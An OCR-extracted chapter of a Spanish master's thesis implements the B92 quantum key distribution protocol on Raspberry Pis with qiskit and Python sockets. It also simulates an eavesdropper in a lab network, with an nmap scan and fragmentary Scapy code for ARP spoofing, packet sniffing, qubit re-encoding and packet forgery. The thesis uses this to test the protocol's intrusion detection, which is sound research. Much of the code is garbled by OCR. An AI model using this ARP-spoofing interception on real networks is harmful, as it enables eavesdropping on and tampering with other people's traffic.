
Figura 4.1: Ilustracion de conexiones en una red LAN. Fuente: Cloudflare (2025c)

\ @
—L—Hh
\ )
/ o Internet

Lo mas habitual en cuanto a las comunicaciones entre dispositivos del 10T es que todos
estén conectados dentro de la misma red LAN (Cloudflare, 2025c) a un mismo punto de
conexion principal, como el router de una vivienda, tal y como vemos en la figuraf4.1 y a

partir de este, si se requiere, se puede realizar la comunicacion a un servidor externo.

La comunicacién clasica entre Alice y Bob la realizaremos a partir del paquete Socket
de python, el cual nos permite realizar comunicaciones, entre diferentes dispositivos en-
viando y recibiendo paquetes de informacién, siempre y cuando estos dispositivos estén
conectados dentro de la misma red LAN. Abriremos el puerto 2220 en la direccion IP, lo-
cal, de Alice y Bob se conectara a esta misma direccién IP al puerto de escucha que se ha

abierto. La conexién entre Alice y Bob podemos verla en la Figura(4.3
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Figura 4.2: Scripts de comandos para Alice y Bob.

(a) Shell script alice.sh.
GNU nano 7.2 alice.sh

source .venv/bin/activate

python3 alice.py

deactivate
(b) Shell script bob.sh.

GNU nano 7.2 bob.sh

source .venv/bin/activate
python3 bob_b92.py

deactivate

Figura 4.3: Establecimiento de conexion entre Alice y Bob.

(a) Conexién como servidor por parte de Alice.

def main():
server = socket.socket et.AF_INET, socket.SOCK STREAM)
server.bind(( )
server.listen(5)
print( 'Esperando conexion de Bob...")

conn, addr = server.accept()
print('Bob conectado e’, addr)
b92(conn)

def main():
HOST =
PORT = 22

ocket.AF _INET, socket.SOCK_STREAM) a
T, PORT))

b92(s)
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4.1. Protocolo B92 desde Alice

Una vez se ha establecido la conexién con el dispositivo de Bob a través del socket, como
hemos visto antes, podemos ejecutar en si el protocolo B92 para poder establecer la clave

segura para las comunicaciones.

En la figura podemos ver, en codigo, la ejecucién del protocolo B92 desde el punto
de vista de Alice. Tras conectar con Bob, Alice, generara una serie de bits aleatorios en
estados 0 o 1. Debemos tener en cuenta que tras la medicion de Bob de los cubits solo
sobrevivirdn aproximadamente un 25 % de ellos. Por lo que una gran parte del tiempo de
ejecucién del protocolo serd empleado en generar, codificar enviar y leer clbits que no

son relevantes en absoluto para la clave final.

Como se ha explicado durante el capitulo[2]lo primero que debe hacer Alice es generar

una clave de bits aleatorios lo cual se ejecuta con la funcién generate_key que vemos en
la figura[4.5]

Tras esto, haciendo uso de qiskit simulamos la creacion y codificacion de los cubits ha-
ciendo uso de la clase QuantumCircuit, por defecto, giskit generara el cubit en estado |0)
por lo que, para cada bit dentro de la clave que hemos generado, si este es 0 no modifi-
caremos el cibit, mientras que si es 1 le aplicaremos una puerta Hadamard para generar

el estado |+).

Ahora debemos enviar los cubits codificados, en nuestra simulacion tomaremos el vector
estado de cada cubit y lo enviaremos a través de socket a Bob para que los pueda medir,
para esto usaremos la libreria json para serializar la informaciéon. Ademas, a través de
Socket no se pueden enviar nimeros complejos por lo que deberemos de transformar

los vectores estado tal y como podemos ver en la figura[4.4|

Tras el envio, Bob, medira los gbits y nos devolvera la lista de indices de los bits que de-
be quedarse Alice y tomando estos indices haciendo uso de la funcién new_key, la cual

podemos ver en la figura
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Figura 4.4: Cddigo de ejecucion de B2 por parte de Alice.

b92(conn):

keylength = 1@e
key = generate key(keylength)
gbit key = []

for bit in key:
q = QuantumCircuit(1)
if bit == 1:
q-h(e)
vector = Statevector.from instruction(q)
gbit key.append(vector.data.tolist())

send_gbits(conn, gbit key)

final key = new key(conn, key)

must_restart = key_check(conn, final key)

f must restart:
print(’'Las claves no coinciden")

save key(final key)

conn.close()

Figura 4.5: Funcion de generacion de clave de bits cldsicos.

generate key(keylength):
class key = [randint(@,1) for i1 in range(keylength)]

return class key

Por ultimo, Alice recibira una serie de bits de control por parte de Bob para verificar que

ambas claves coinciden. En caso de que algln bit no coincida se debera reiniciar el proto-
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Figura 4.6: Codigo de envio de los cubits codificados a Bob.

send gbits(conn, gbit key):

serializable =
[[num.real, num.imag] for num in vec] for vec in gbit key

json _data = json.dumps(serializable) +

conn.sendall(json data.encode())

Figura 4.7: Creacion de la nueva clave a partir de la clave original y los indices enviados
por Bob.

new _key{conn, key):
new key = []

indices = json.loads{conn.recv(4896).decode())
for index in indices:

new key.append(key[index])

return new key

colo de seguridad hasta que ambos estén seguros que la comunicacién sea segura. Como
podemos ver en la Figura[4.8]si los bits de control coinciden con la clave original, tomando
los indices que ha establecido Bob, se guardara la clave para que se pueda utilizar poste-

riormente para encriptar y desencriptar los mensajes.
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Figura 4.8: Comprobacion de los bits de control y guardado de la clave en caso que ambas
claves coincidan.

key check(conn, final key):

bob_key = json.loads(conn.recv(4896).decode())
must_restart =
for i, bob_bit in enumerate(bob_key):
if bob_bit != final key[i]
print(f'El bit numero {i+1} no coincide')
must_restart =
conn.sendall (str(must_restart).encode())
return must_res

save_key(key):
str = "'.join(str(bit) for bit in key)
} as file:

4.2. Protocolo B92 desde Bob

Figura 4.9: Cddigo de ejecucion de B2 por parte de Bob.
bo2(s):

gbit key = receive gbits(s)

indices, key = measure gbits(gbit key)

s.sendall(json.dumps(indices).encode())

must restart = key check(s, key)
it must_restart:
print('Las claves no coinciden’)

save_key(key)

Al igual que con el cédigo anterior, en el momento que Alice y Bob realicen la conexién
a través del socket podremos ejecutar el protocolo por parte de Bob haciendo uso de la

funcion que vemos en la figura[d.9|

Como hemos explicado anteriormente, primero, Bob debe recibir los gbits, haciendo uso
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de la funcién que podemos ver en la figura y dado que lo que recibe es una lista de
Statevectors, al ser este contexto una simulacién, debera primero reconstruir los cubits

para poder medirlos. Esto lo realiza ejecutando la funcion measure_gbits que vemos en
la figura[d.11}

Figura 4.10: Recepcion de la lista de vectores para la posterior reconstruccion de los cu-
bits.

receive gbits(s):

buffer = *°

while :
chunk = s.recv(4896).decode( 'utf-3
if chunk:

r 4= chunk

f "\n' buffer:
line, _ = buffer.split('\n', 1)
data = j .loads(1line)
gbit_array = [

real, imag) for real, imag in vec] for wvec in data

return gbit_array

Tras haber medido los gbits y haber creado una clave con aquellos bits que verdadera-
mente proporcionan informacién, Bob enviara la lista de indices a Alice al igual que una
serie de bits de control para comprobar si la clave que han generado es segura. Como
vemos en la figura[4.12|Bob recibe de Alice si ambas claves coinciden o no, por lo que en

caso positivo guardara la clave con la funcion save_key que podemos ver, también, en la

figura
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Figura 4.11: Recepcion de la lista de vectores para la posterior reconstruccion de los cubits

measure_gbits(gbit_key):
indices = []
key = []

for i, gbit in enumerate({qgbit_key):

q = QuantumCircuit(1l, 1)
g-initialize(gbit, 8)

basis = randint(e, 1)
if basis == 1:
q.h(@)

g.measure{@, B)
sim = Aer.get_backend(’
my gbit = transpile(qg, s

job = sim.run{my_qbit, shots

result = job.result()

mes = result.get counts()

bit mes = max(mes, key = mes.get)

if basis == @ bit _mes == "1
indices.append(i)
key.append(1)

elif basis == 1 bit_mes == "1":
indices.append(i)
key.append(8)

return indices, key

Figura 4.12: Bob envia los bits de control a Alice y recibe si la clave es segura o no.
key check(s, key):
num_check bits = 18

range{num_check bits):
partial_key.append(key[i])

s.sendall(json.dumps(partial key).encode())

must_restart = s.recv(1624).decode == "True’
return must_restart

31



Implementacion de protocolos cuanticos Raul Martinez Pavon
de seguridad en dispositivos loT Master en Computacion Cuantica

4.3. Simulacion de un ataque MiTM.

Tal y como hemos comentado anteriormente, la comunicacién entre Alice y Bob puede
verse comprometida por la existencia de un tercer interlocutor. Por lo que debemos ase-
gurarnos que el protocolo que utilicemos, en nuestro caso B92, debe ser seguro incluso
en presencia de algun interlocutor malicioso como lo es Eve en nuestro escenario hipo-
tético.

Para poder simular estos ataques MiTM se ha hecho uso de una libreria de python lla-
mada SCAPY (Biondi et al., 2023) que permite escanear la red local en la que se trabaja
asi como interceptar paquetes de informacién y poder leer su informacion. Por otro lado,
para poder leer y codificar los cubits como haria Eve se ha instalado, al igual que en las
Raspberrys, los paquetes de qiskit y qiskit-aer para poder hacer las simulaciones necesa-

rias.

Veremos finalmente que la intervencién de Eve deja huella en el envio de cubits por lo
que el protocolo detecta que el canal se ha visto comprometido. Cabe recordar que este
escenario se ha construido dentro de una simulacién cuantica haciendo uso de informa-
cion clasica. Debemos destacar que el uso de los protocolos QKD, Gnicamente es Util en
un caso real de creacion, codificacion y envio de cubits. Al utilizar un entorno clasico no
estamos tratando con culbits reales sino sus vectores estado por lo que la efectividad de

estos protocolos se anula.

4.3.1. Consideraciones previas al ataque.

Dado que la utilizacién de este tipo de paquetes y la ejecucidén de estos ataques puede
provocar, en caso de errores de programacion, fallos en los permisos del dispositivo en
cuanto a los adaptadores de red o pueden haber incompatibilidades de software, dado
gue las herramientas en torno a la ciberseguridad suelen estar preparadas y optimizadas
para sistemas basados en GNU/Linux se ha implementado una maquina virtual utilizando

Ubuntu 24.04(Canonical Ltd., 2023) usando VirtualBox 7.0 (Oracle Corporation,|2023) por
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Figura 4.13: Utilizacion del paquete Scapy dentro del entorno de Ubuntu en VirtualBox

mitm@mitm-VirtualBox: ~/TFM

= $ scapy
import PyX. Won't be able to use psdump() or pdfdump().
import python-cryptography v1.7+. Disabled PKI & TLS crypto-related features.
import python-cryptography v1.7+. Disabled WEP decryption/encryption. (Dot11)
import python-cryptography v1.7+. Disabled IPsec encryption/authentication.

the default Python shell: History is disabled.

Gt

Carpeta personal

encima del sistema original de Windows 11. De esta forma generamos un entorno de

laboratorio aislado del sistema principal separando el sistema operativo anfitrion.

Figura 4.14: Herramientas usadas en la mdquina virtual

(a) Sistema operativo Ubuntu (b) VirtualBox

© \n
ubuntu

Para poder realizar el ataque primero debemos escanear la red en busca de los disposi-

tivos que queramos atacar. Practicamente todas las tarjetas de red tiene un identificador
gue reflejan que fabricante es el que ha hecho el dispositivo por lo que podemos uti-
lizar el comando de Linux nmap(Fyodor, 2023) para poder escanear la red en busca de
los dispositivos que hay conectados a nuestra LAN. Tal y como podemos ver en la figura
[4.15] obtenemos como resultado un listado de todos los dispositivos conectados dentro

de nuestra subred local 192.168.18.x asi como la informacién de las direcciones IP y MAC
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de cada uno de ellod]

Figura 4.15: Resultado del escaneo de la red local bajo el comando nmap

(.venv) - $ sudo nmap -sP -n 192.168.18.0/24
Starting Nmap 7.94SVN ( https //nmap.org ) at 2025-09-02 11:34 CEST
Nmap scan report for 192.168.18.1

Host is up (0 0057s latencv)

.18.14
Host is up (0.077s latency)
MAC Address: FZgBigliga®; i i
Nmap scan report for 192. lo 1° lo
Host is up (0.028s latency).
MAC Address: 3820 llaial: o)
Nmap scan report for 192.168.18. 1’8
Host is up (0.10s latency)
MAC Address: . ll.1'-
Nmap scan report for 1
Host is up (0.099s latencvz
MAC Address: s.c.:
Nmap scan report for 192. E
Host is up (@.11s latency).
MAC Address: B8:27:EB:D3:.4._* (Raspberry Pi Foundation)
Nmap scan report for 192.168.18.146
Host is up (0.00081s latency).
MAC Address: zs=-& LET TR WL )
Nmap scan report for 192.168.18.151
Host is up (0.051s latency).
MAC Address: ru®-_=ga=gs= = LS B EEETES LYY CE
Nmap scan report for 192.168.18.152
Host is up (0.21s latency).
MAC Address: ,os.=sgge  sg== CEYEERNEEEREY ETY EX )
Nmap scan report for 192.168.18.153
Host is up (0.13s latency).
MAC Address: B8:27:EB:31: ==~ (Raspberry Pi Foundation)
Nmap scan report for 192.168.18.168
Host is up.
Nmap done: 256 IP addresses (11 hosts up) scanned in 3.07 seconds

De esta forma hemos podido averiguar que las direcciones IP de las Raspberry Pi, es decir,
los dispositivos involucrados dentro de la ejecucién del protocolo B92 son las direcciones
192.168.18.153 y 192.168.18.139. No podemos saber con certeza cual de estas direccio-
nes es Alice o cual es Bob, pero no necesitaremos esta informacion para poder leer los
paquetes que se puedan mandar entre ellos. Estudiando los paquetes enviados asi como

la direccion de origen y la de destino podremos relacionar quien es Alice y quien es Bob.

Otra variable que necesitamos conocer es la interfaz de red en la que esta funcionando
nuestra maquina virtual, dado que el script para la ejecucién del ataque, como veremos
mas adelante requieren conocer esta interfaz. Esto lo podemos conseguir utilizando sen-
cillamente el comando ip addr dentro de la interfaz de comandos de Linux. Existen dife-

rentes interfaces, las mas comunes de encontrar son: ethQ, wlan0, enp0s2 o enp0s3. En

Ipor privacidad se han censurado todas las direcciones MAC e identificadores DNS de todos los dispo-
sitivos conectados en la red que no son relevantes para la realizacién de este proyecto.
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nuestro caso, tal y como podemos observar en la figura[4.16 estaremos trabajando en la

interfaz enp0s3

Figura 4.16: Consulta de la interfaz de red de nuestra mdquina virtual.

3 S ip addr
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 gdisc nogqueue state UNKNOWN group default qlen 1000
link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
inet 127.0.0.1/8 scope host lo
valid_1ft forever preferred_lft forever
inet6 ::1/128 scope host noprefixroute
valid_1ft forever preferred_lft forever

: enp@s3: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc fg_codel state UP group default qlen 1000
link/ether v .wmm_ 5. mowrbrd ff:ff:ff:ff:ff:ff
inet 192.168.18.168/24 brd 192.168.18.255 scope global dynamic noprefixroute enp@s3
valid_1ft 2624sec preferred_lft 2624sec
ineté (< B, . _B_ = _E_W__M_,u4 scope link
valid 1ft forever preferred lft forever

4.3.2. Ejecucion del script de ataque MiTM

Para la ejecuciéon de este ataque MiTM se han utilizado técnicas de ARP Spoofing para
poder redireccionar el trafico entre Alice y Bob para que todos los paguetes de informa-
cion que compartan pasen primero por nuestra maquina atacante antes de llegar a su

destinatario. El codigo completo del script de ataque se puede ver en el anexollll}

Tal y como hemos comentado en el apartado las comunicaciones dentro de una
red LAN se basan en la asociacién entre las direcciones IP de cada dispositivo con su res-
pectiva direccion MAC. Por ello manipularemos las tablas ARP de la red para asociar las
direcciones IP de Alice y Bob con la direccion MAC de nuestra maquina atacante, Eve, de
esta forma en el momento que se trate de enviar alglin paquete de informacién a estas
dos direcciones en la realidad estos paquetes se dirigirdn a Eve. Para ello primero con-
sultaremos estas tablas para poder conocer las direcciones MAC de Alice y Bob y poder

realizar el intercambio.

Tal y como vemos en la figura[4.17] definiremos primero los parametros de nuestro ata-
que, como lo son la interfaz de red que hemos consultado anteriormente y las direcciones

IP de las victimas sobre las que queremos ejecutar el ataque.

En la figura[4.18]podemos ver la consulta a las tablas ARP haciendo uso del paquete Scapy
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de python. Tras esta consulta ejecutaremos el ataque de ARP Spoofing intercambiando
las direcciones MAC originales por la direccién de nuestra maquina. Debemos tener en
cuenta que las propias redes regeneran las tablas ARP cada cierto tiempo por lo que reali-
zaremos el ARP Spoofing continuamente, para ello utilizaremos el paquete threading the
Python para ejecutar este ataque en segundo plano mientras nuestro codigo principal
intercepta los paquetes entre Alice y Bob. La ejecucion del ARP Spoofing la podemos ver
en la funcion representada en la figura[4.19

Figura 4.17: Definicion de los pardmetros del ataque y ejecucion principal del ataque.

if pame == " main_":
interface
target ip
target mac
server_ip
server_mac = get ma

os.system("echo :
print(“IP fo

spoof_thread = threading.Thread(
target=arp spoof, args=(target ip, target mac, server ip, server mac, interface)

)

spoof_thread.daemon =
spoof thread.start()

try:

pt

print("\ns
os.system("ech
print(“cle

Una vez se esta ejecutando esta parte del ataque podemos proceder con el Sniffing, es
decir, podemos comenzar ainterceptar los paquetes de informacién entre estas dos direc-
ciones IP. En un principio nuestro script interceptara todos los paquetes de informacién
que circulan por la red que hayan salido o tengan como destinatario las direcciones IP de

Alice y Bob.

En este momento también interceptamos los paquetes que salen de Alice (o Bob) que

tengan como destino cualquier otro dispositivo de la red, asi como los paquetes que vie-

36



Implementacion de protocolos cuanticos Raul Martinez Pavon
de seguridad en dispositivos loT Master en Computacion Cuantica

Figura 4.18: Consulta de las direcciones MAC a partir de una IP dada.

get mac(ip, interface):

arp request = ARP(pdst=ip)
ether (dst="ff:ffff o ff 1)
packet = ether/arp request

result = srp(packet, timeout=3, iface=interface, verbose=08)[9]
result.summary()
if result:
return result[e][1].hwsrc
return

Figura 4.19: Funcion de ejecucion del ARP Spoofing

arp spoof(target ip, target mac, gateway ip, gateway mac, interface):
print(f"Comenzando ARP Spoofing entre {target ip} y {gateway ip}")
if target mac gateway_mac:

print(“"Fallo a ner las d
return

p=2, pdst=target_ip, psrc=gateway ip, hwdst=target mac), iface=interface, verbose=0)
2, pdst=gateway ip, psrc=target ip, hwdst=gateway mac), iface=interface, verbose=8)

nen de todos los dispositivos de la red y tienen como destino a Alice o a Bob

Una vez interceptados filtraremos los paquetes consultando los metadatos que transpor-
tan, o sea, consultaremos su direccion de origen, su direcciéon de destino, si el paquete
esta, o no, vacio de informacion. Este filtrado y manejo de paquetes podemos verlo refle-
jado en la figura Aqui cribaremos los paquetes y nos quedaremos Unicamente con
los que tienen como fuente Alice (o Bob) y ademas tienen como destinatario a Bob (o

Alice).

Ademas dejaremos pasar sin retencion todos aquellos paquetes que no contienen datos.
Estos paquetes vacios tienen como obijetivo interno de la propia red asegurar una esta-

bilidad de la red. No transportan datos, sin embargo, el hecho de que estos paquetes no
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lleguen a su respectivo destino indicaria fallos en las conexiones de la red.
Figura 4.20: Interceptado y filtrado de los paquetes de informacion de la red.

packet_callback(packet):

directionl = packet[IP].src == "I packet[IP].dst
direction2 = packet[IP].src == 1932 1% g packet[IP].dst
host = directienl direction2
if IP packet TCP packet host:

if IP packet TCP packet Raw packet:

packet_id = (
packet[IP].src, packet[IP].dst, packet[TCP].sport, packet[TCP].dport, packet[TCP].seq

)

if packet_id processed_packets:

processed packets.add(packet_id)

data = packet[Raw].load
try:
data text = data.decode(’u , errors=

if data_text.strip():
return packet

ist.1literal eval(data text)

if len(data[@]) > 1:
modified qubits = read gqubits(data)

return packet

Como podemos ver, ademas del filtrado de paquetes nuestra funcion detecta si los datos
gue se estan enviando son cubits o no. En el caso de que silo sean trataremos de leer estos
cubits. Utilizando la funcion que podemos ver en la figura[4.21], Eve leera los cibits que ha
recibido, los volvera a codificar, utilizando la funcion que vemos escrita en la ﬁguray

los reenviara de forma que el paquete siga su transcurso. Sin embargo, debemos recalcar

38



Implementacion de protocolos cuanticos Raul Martinez Pavon
de seguridad en dispositivos loT Master en Computacion Cuantica

gue los cubits originales ya no existen por lo que el paquete de informacién ha sido modi-
ficado transportando ahora la informacién que haya codificado Eve. Podemos simular el
cambio de informacién que lleva el paquete utilizando la funcién send_new_packet que
hemos definido y podemos ver en la figura|4.23

Figura 4.21: Lectura de los cubits recibidos.

read qubits(data):
qubits = [

[complex(real, imag) for real, imag in vec] for vec in data
1

key read = []
for i, qubit in enumer (qubits):

g = QuantumCircuit(l, 1)
g-initialize(qubit, @)

(e, 1)

g.measure(@, @)
sim = Aer.get backend( gasm simulator’)
my_gbit = transpile(q, sim)

= sim.run{my_gbit, shots
= job.result()

= mes
bit mes ==
d.append(1)
bit_mes == "1°
y_read.append(@)

gbit key rese codify new gbits(key read)

return gbit_key resend

Por ultimo, en el protocolo B92 también existen dos paquetes de informacion clasica que
comparten Alice y Bob que son el listado de indices de los bits que si mantendran de la
clave asi como la clave parcial que comparten por seguridad. Eve también intercepta estos
dos paquetes y al ser informacién clasica si la puede copiar sin problema y guardar para

poder, mas tarde desencriptar, aunque sea parcialmente, los mensajes que existan entre
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Figura 4.22: Codificado de los nuevos cubits.

codify new _gbits(key read):

q = QuantumCircuit{1)

if bit ==
q-h(8)

elif bit ==
new_bit = randint(8, 1)
if new_bit ==

vector = Stats tor.from_instruction(qg)
gbit_key.append{vector.data.tolist())
resend = [
[[num.real, num.imag] for num in vec] for vec in gbit_key
1
final resend = str(resend)
return final_resend

Figura 4.23: Simulacion de la modificacion de la informacion tras la lectura
send_new packet(original packet, modified gbits):

new_packet = original packet.copy()
nuevos_datos = modified gbits.encode( utf

new_packet[Raw].load = nuevos datos
del new_packet[IP].chksum
del new_packet[TCP].chksum

sendp(new packet, iface = ‘enpf

Alice y Bob. Este guardado de informacion lo realizaremos con la funcion que podemos

ver en la figura
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Figura 4.24: Guardado de la informacion cldsica compartida.

def save(data):

data_str = *, '.join(str(data_piece) for data_piece in data)

with open{'d xt', 'a’') as file:

4.4. Resultadosy analisis de resultados de las simulaciones

realizadas.

Tras ejecutar las dos partes del protocoloﬂ B92, segln el c6digo que hemos visto en los
puntos anteriores, dado que, en un primer momento, no existe la presencia de ningln
atacante en la red hemos obtenido en cada una de las Raspberrys, tanto en la de Alice
como en la de Bob, un archivo de texto, .txt, en el que se ha guardado la clave para el
encriptado de las comunicaciones futuras, que podemos leer con el comando de termi-
nal de Linux, cat. Tal y como vemos reflejado en la figura [4.25] ambas claves coinciden,

estableciendo asi la clave simétrica para el cifrado de las comunicaciones.

Figura 4.25: Lectura del archivo key.txt en ambos dispositivos.

(a) Clave guardada en el dispositivo Alice.

alice@alice:~/TFM $ cat key.txt
11011011011010010000001010

(b) Clave guardada en el dispositivo Bob.
bob@bob:~/TFM $ cat key.txt
110110110116100100600001010

Vemos, asi, como el protocolo, en un primer momento, esta funcionando tal y como esta-

2El protocolo se ha ejecutado estableciendo una longitud original de la clave generada por Alice de 100
bits.
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ba esperado, generando una clave satisfactoriamente. Sin embargo, necesitamos asegu-
rar que el protocolo sea seguro y podamos detectar en el caso que si exista un atacante
en la red que trate de leer los clbits que se estan intercambiando por lo que ejecutare-
mos el codigo de ataque que hemos visto en el punto anterior para poder corroborar que

el protocolo de seguridad realmente funcione como esta previsto.

En el momento que ejecutamos este script de ataque, el resultado de la ejecucion del
protocolo de seguridad desde el punto de vista de Alice y Bob es diferente, podemos ver
el resultado de los comandos en las terminales de Alice y Bob respectivamente en las
figuras[4.26aly [4.26b] Tal y como teniamos previsto, durante la intervencion de Eve, los
cubits han sido modificados de tal forma que el protocolo es sensible a estos cambios y

se puede detectar facilmente que el canal ha estado comprometido.

Figura 4.26: Resultados de las terminales tras la ejecucion del protocolo durante el ata-
que.

(a) Terminal de Alice.

alice@alice:~/TFM $ ./alice.sh
Esperando conexion de Bob...

Bob conectado desde ('192.168.18.139', 50400)

(b) Terminal de Bob.

bob@bob:~/TFM $ ./bob.sh

Podemos observar que el protocolo es realmente seguro y funciona a la perfeccién. He-

mos podido detectar con la utilizaciéon de este protocolo cuantico la presencia de un ata-
cante en la red por lo que nos aseguramos que el canal de comunicaciéon no es comple-
tamente privado. De esta forma, para poder establecer una clave secreta entre Alice y
Bob, deberian repetir el protocolo hasta poder dar con una clave que les confirme una

comunicacién segura y cifrada que nadie pueda leer.
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4.5. Implementacion fisica de una red LAN cuantica.

Hemos visto, dentro del contexto de una simulacién, cémo la ejecucion de un protocolo
de distribucion de claves cuantico, como es el protocolo B92 que hemos empleado, pro-
porciona una solucién segura en el establecimiento de comunicaciones dentro de una
misma red. Sin embargo, debemos tener en cuenta, que para que este tipo de soluciones
funcione y podamos proteger nuestros dispositivos del Internet of Things, loT, necesita-

mos contar con dos factores imprescindibles.

Por un lado necesitamos que los dispositivos del loT integren la tecnologia necesaria co-
mo para poder realizar los pasos del protocolo sobre la creacién, la codificacién y la lectu-
ra de cubits. En otras palabras, necesitamos que, ademas de un microprocesador clasico,
integren en su estructura un procesador cuantico con el que poder manejar los cubits del

protocolo.

Por otro lado, las redes de internet actuales estan construidas de diferentes formas, so-
bre todo si hablamos de redes domésticas, que son a los que nos solemos referir dentro
del contexto de los dispositivos del loT. En la actualidad, lo mas habitual es que la dis-
tribuidora de internet proporcione acceso a la red a un router principal via fibra 6ptica,
aungue existen otras soluciones como las conexiones de ADSL, pero estas estan cada vez
mas en desuso. A partir de aqui, este router es el que proporciona acceso a internet a to-
dos los dispositivos que estén conectados a este, pudiéndose conectar haciendo uso de
un cable Ethernet (Win,|[2025), o de la red inaldambrica Wi-Fi (Proofpoint, 2025) generada
por el mismo router. Asi mismo, como hemos comentado en anteriores capitulos, todos

los dispositivos conectados a este router estaran dentro de la misma red LAN.

Por tanto, al igual que tenemos las comunicaciones inaldmbricas via Wi-Fi, o las cone-
xiones por cable de red o fibra 6ptica, para poder trasladar la informacion clasica que se
procesan en los distintos dispositivos. Necesitamos un medio de propagaciéon cuantico
para poder enviar los cubits utilizados en los diferentes procesos como, en este caso, la

ejecucion de un protocolo de seguridad.
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4.5.1. Procesadores cuanticos para dispositivos loT.

En la actualidad ya existen soluciones sobre procesadores cuanticos pensados para ser
utilizados en el campo de la ciberseguridad vy la criptografia haciendo uso de protoco-
los QKD. Empresas como HEQA-Sec (2024) han creado productos como el Sceptre-Duo,
integrando en el mismo dispositivo la tecnologia necesaria para poder transmitir, reci-
bir y manipular informacién cuantica haciendo uso de computacién cuantica basada en

fotones.

La computacion con fotones es una solucién muy prometedora dado que no requieren de
temperaturas criogénicas como si lo necesitan otro tipo de implementaciones de cubits
como lo son los clbits superconductores o los de 4tomos neutros. Los clbits fotonicos se
pueden crear, y manipular a cualquier temperatura, lo que es una condicién ideal para
poder implementarlos en soluciones tecnolégicas domésticas, donde los dispositivos no

se encontraran, por norma general, en entornos completamente controlados.

Sin embargo, aunque la computacién con fotones sea una solucién completamente valida
para poder implementar este tipo de tecnologias cuanticas en dispositivos cotidianos.
La tecnologia actual no permite una fabricacién de estos procesadores que sean de un
tamano aceptable para poder implementarlos en algunos elementos del |oT. A dia de hoy,
este tipo de instrumentos de computacién cuantica, como el Sceptre-Duo que hemos
nombrado antes, estdn pensado especialmente para poder implementarlos dentro de
centros de datos o centros de servidores, donde el espacio y la potencia requerida para
hacer funcionar estos dispositivos no es un impedimento. Aun asi, todavia necesitamos
un desarrollo para poder reducir, significativamente, el tamano de estos procesadores
para poder llegar a implementarlos dentro de los dispositivos del loT de baja potencia

como pueden serlo algunos electrodomésticos inteligentes.
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4.5.2. Construccion de una red cuantica.

Hemos podido llegar a la conclusién de que la computacién con fotones es una clara
opcién ganadora a la hora de implementar los procesadores cuanticos dentro del entorno
de los dispositivos del IoT. Ademas, este tipo de computacion conlleva una ventaja muy

grande frente a otro tipo de cubits, el medio por el que estos se propagan.

Los cubits foténicos requeririan de una red de fibra éptica para poder circular de un dis-
positivo a otro trasladando datos e informacion. Este hecho es muy conveniente para la
evolucion tecnoldgica ya que a dia de hoy ya utilizamos a lo largo de todo el mundo la fibra
Optica como red de distribucion de internet. Por lo que realmente ya se ha desarrollado

el medio necesario para poder generar una red LAN cuantica.

La Unica diferencia radica en que, actualmente, la red de fibra éptica se encuentra entre
las distintas distribuidoras de internet hasta el router principal de los domicilios. Lo Gnico
que seria necesario para poder implementar este tipo de comunicaciones dentro de los
dispositivos de un mismo hogar seria la instalacion de una red de fibra éptica dentro del

hogar no solamente hasta el router principal.

Por otro lado, a nivel general de implementacién de una red de internet cuantico, de-
bemos tener en cuenta que las fibras 6pticas presentan significativas pérdidas en la co-
herencia de los fotones en las comunicaciones a largas distancias. En el dmbito de los
dispositivos 10T no es un factor que suponga un gran problema, sin embargo debemos
tener en cuenta que las comunicaciones no necesitan estar encriptadas solamente para
los dispositivos dentro de una misma red LAN, tras esto, el propio router que da acceso
a internet a todos los dispositivos de la red del hogar necesita presentar también unas
comunicaciones seguras con los servidores externos a los que necesitemos realizar algu-
na peticioén. Es en este aspecto donde se necesita méas desarrollo dentro del campo de la

fabricacion de materiales para poder reducir este ruido al maximo.
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4.5.3. Ventajas y desafios del internet cuantico

Hemos podido ver como laimplementacién de unared de internet cuantico conlleva gran-
des ventajas dentro del campo de la criptografia y la ciberseguridad. Este tipo de redes y
protocolos de seguridad son, como hemos visto en capitulos anteriores, completamente
seguros incluso con la presencia directa de un atacante en la red. Por lo que continuando
con el desarrollo tecnoldgico dentro de este campo podremos reducir significativamente
las brechas de seguridad en todo tipo de dispositivos y sistemas no solamente en centros
de datos sino en dispositivos mas inofensivos a simple vista como lo son aquellos a los

gue esta enfocado este proyecto, los dispositivos del loT.

Sin embargo, este tipo de tecnologias siguen en continuo desarrollo y todavia presentan
muchos desafios para poder ser implementadas con éxito a lo largo de todo el mundo y

en todo tipo de dispositivos (Beekman, 2025).

Ademas del desarrollo necesario en cuanto a los procesadores cuanticos empleados en
este tipo de instrumentos, debemos recalcar que debemos emplear algoritmos vy siste-
mas de correccién de errores a lo largo de la computacién con los cubits que estemos
manipulando. Recordemos que a dia de hoy uno de los grandes desafios alrededor de
la computacién cuantica a nivel general es la reduccién de la decoherencia dado que los
cubits son, algunos, muy sensibles al ruido externo. En el caso de los cubits foténicos
trasladandose a través de la red de fibra 6ptica que hemos nombrado antes, el propio
tendido eléctrico puede ser una fuente de ruido dado que el paso de corriente eléctrica
induciria campos electromagnéticos que pueden alterar los modos de vibracién o la po-
larizacion de los fotones dentro de la fibra. Por este motivo se debe mejorar lo maximo
posible el aislamiento de los cables de fibra 6ptica, asi como implementarse algoritmos

de correccién de errores dentro de los propios procesadores.

Por otro lado necesitamos que los dispositivos no solo integren un procesador cuantico.
Como hemos podido ver durante la ejecucién del protocolo de seguridad, estos protoco-
los se basan en dos partes diferenciadas, una en la que se manipula informacién cuantica

y una segunda donde se manipula informacién clasica. Por tanto no solo necesitamos im-
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plementar las tecnologias cuanticas dentro de estos instrumentos sino que necesitamos

desarrollar una tecnologia hibrida entre la cuantica y la clasica.

Por Gltimo, uno de los grandes inconvenientes de la utilizacién e implementacion de este
tipo de tecnologias en la vida cotidiana no radica en ningln aspecto técnico sino en el

ambito social y cultural

Durante el nacimiento de los ordenadores modernos, sin los que actualmente no podria-
mos realizar muchas de las tareas basicas de nuestro dia a dia, gran parte de la poblacion
rechazaba la posibilidad de la utilizacion de los computadores en ciertos aspectos de la
vida. Debido al desconocimiento, las tecnologias cuanticas no son bienvenidas por mu-
chas personas lo que dificulta en gran medida el desarrollo del mercado de este tipo de
dispositivos y sus futuras aplicaciones. La educacion a la poblacién en lo que concierne a
la computacion cuantica y a sus usos puede facilitar la aceptacién popular de estas tec-
nologias. Grandes hitos de la tecnologia actual como pueden ser los sistemas Linux que
hemos usado en este proyecto y que se utilizan en la mayoria de dispositivos como servi-
